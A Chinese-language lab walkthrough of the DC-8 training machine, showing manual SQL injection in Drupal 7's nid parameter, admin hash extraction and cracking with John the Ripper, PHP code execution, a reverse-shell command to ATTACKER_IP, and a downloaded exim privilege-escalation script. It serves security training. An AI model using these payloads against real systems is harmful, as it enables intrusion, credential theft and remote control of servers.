别再只跑sqlmap了!DC-8靶场中Drupal 7的SQL注入点手工挖掘与利用技巧
手工挖掘Drupal 7的SQL注入:从参数分析到哈希破解实战
当大多数渗透测试者还在依赖sqlmap这类自动化工具时,真正理解SQL注入原理的手工技术往往被忽视。本文将以DC-8靶场为例,带你逐步拆解?nid=1这个看似简单的参数背后隐藏的注入漏洞,从初步发现到最终获取系统权限的全过程。不同于工具的直接输出,我们将专注于每个技术环节的手工验证与原理分析,适合那些希望摆脱"脚本小子"标签、深入理解Web安全本质的学习者。
1. 注入点的发现与初步验证
在渗透测试中,最容易被忽视的往往是那些看似无害的URL参数。DC-8靶场的Drupal 7系统中,nid参数就是一个典型的例子。这个用于传递节点ID的参数,表面上看只是简单的数字查询,实则暗藏玄机。
判断注入可能性的三个关键指标:
- 参数值变化影响输出内容:修改
nid=1为nid=2时,页面显示内容会相应变化 - 异常输入引发错误:尝试
nid=1'时,页面返回数据库错误信息 - 逻辑运算结果验证:测试
nid=1 and 1=1与nid=1 and 1=2的响应差异
手工测试时,我习惯使用Burp Suite的Repeater模块进行快速验证。以下是几个基础测试用例:
GET /?nid=1%20and%201=1 HTTP/1.1 Host: dc-8GET /?nid=1%20and%201=2 HTTP/1.1 Host: dc-8当1=1返回正常页面而1=2返回异常时,基本可以确认存在布尔型注入漏洞。更进一步,可以通过以下方式确认注入类型:
nid=1 union select null -- nid=1 union select null,null -- nid=1 union select null,null,null --通过不断增加null数量直到页面正常显示,可以确定当前查询的列数。在DC-8靶场中,经过测试确认nid参数对应的查询返回4列数据。
2. 手工构造Union查询获取数据库信息
确认注入点后,下一步是通过Union查询提取数据库关键信息。Union注入的优势在于可以直接在页面中显示查询结果,而不需要依赖盲注技术。
关键信息提取步骤:
- 确定显示位:通过
union select 1,2,3,4确认哪些列会在页面中显示 - 获取基础信息:
union select 1,user(),database(),4 - 查询表结构:
union select 1,table_name,column_name,4 from information_schema.columns where table_schema=database()
在DC-8靶场中,我们发现Drupal 7的数据库名为d7db,其中users表存储了管理员凭据。以下是提取用户数据的完整查询:
nid=1 union select 1,concat(name,0x3a,pass),mail,4 from d7db.users where uid=1 --执行后页面显示了管理员账户的哈希密码,格式为$S$开头的Drupal特有哈希。这种格式的密码采用SHA-512算法,配合Drupal特有的迭代次数和盐值进行加密。
3. Drupal哈希密码破解实战
Drupal 7的密码哈希格式为$S$后跟一个字符表示迭代次数,然后是8字节的盐值和实际的哈希值。例如:
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z破解步骤详解:
- 识别哈希格式:使用
hashid工具确认哈希类型hashid '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' - 准备字典文件:收集常用密码字典,如rockyou.txt
- 使用John the Ripper破解:
john --format=drupal7 hash.txt --wordlist=rockyou.txt - 验证结果:破解成功后,John会显示明文密码
在DC-8靶场中,我们成功破解出用户john的密码为turtle。这个密码看似简单,但在实际渗透测试中,这类弱密码仍然十分常见。
4. 从后台登录到系统提权
获取有效凭据后,下一步是寻找后台登录入口。Drupal系统的后台通常位于/user路径:
POST /user/login HTTP/1.1 Host: dc-8 Content-Type: application/x-www-form-urlencoded name=john&pass=turtle&form_id=user_login_form&op=Log+in成功登录后台后,Drupal 7的模块管理页面往往存在代码执行漏洞。我们可以通过以下步骤获取WebShell:
- 寻找代码执行点:在"添加新模块"或"PHP过滤器"等位置
- 测试PHP执行:
<?php system("id"); ?> - 建立反向Shell:
<?php system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>
获取初步Shell后,通常需要提权操作。在DC-8靶场中,我们发现exim4服务存在SUID提权可能:
find / -perm -4000 -type f 2>/dev/null通过搜索Exim 4.89的已知漏洞,我们可以利用本地提权脚本获取root权限:
wget http://ATTACKER_IP/exim-exploit.sh chmod +x exim-exploit.sh ./exim-exploit.sh成功提权后,最后的flag文件通常位于/root目录下,完成整个渗透测试流程。
